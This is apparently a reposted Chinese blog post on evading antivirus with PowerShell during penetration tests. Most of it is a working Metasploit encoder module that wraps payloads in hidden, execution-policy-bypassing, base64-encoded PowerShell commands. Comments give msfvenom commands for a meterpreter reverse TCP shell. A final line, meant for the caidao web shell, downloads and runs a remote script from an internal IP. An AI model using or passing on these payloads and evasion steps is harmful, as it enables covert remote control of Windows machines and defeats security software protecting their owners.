关于Powershell对抗安全软件(转）

Windows PowerShell的强大，并且内置，在渗透过程中，也让渗透变得更加有趣。而安全软件的对抗查杀也逐渐开始针对powershell的一切行为。
在https://technet.microsoft.com，看到文档如下：

针对它的特性，本地测试：
Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Micropoor')

#       copy base64.rb to metasploit-framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell.
#       E.g 
#       msf encoder(powershell/base64) > use exploit/multi/handler 
#       msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
#       payload => windows/x64/meterpreter/reverse_tcp
#       msf exploit(multi/handler) > exploit 

#       msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.

#       [*] Started reverse TCP handler on xx.1xx.xx.xx:xx

class MetasploitModule < Msf::Encoder
  Rank = NormalRanking

  def initialize
    super(
      'Name'             => 'Powershell Base64 Encoder',
      'Description'      => %q{
        msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.
      },
      'Author'           => 'Micropoor',
      'Arch'             => ARCH_CMD,
      'Platform'         => 'win')

    register_options([
      OptBool.new('payload', [ false, 'Use payload ', false ]),
      OptBool.new('x64', [ false, 'Use syswow64 powershell', false ])
    ])

  end

  def encode_block(state, buf)
    base64 = Rex::Text.encode_base64(Rex::Text.to_unicode(buf))
    cmd = ''
    if datastore['x64']
      cmd += 'c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe '
    else
      cmd += 'powershell.exe '
    end
    if datastore['payload']
      cmd += '-windowstyle hidden -exec bypass -NoExit '
    end
    cmd += "-EncodedCommand #{base64}"
  end
end


# if use caidao
# execute echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/xxx.ps1');\"" |msfvenom -e x64/xor4 --arch x64 --platform windows
# xxx.ps1 is msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.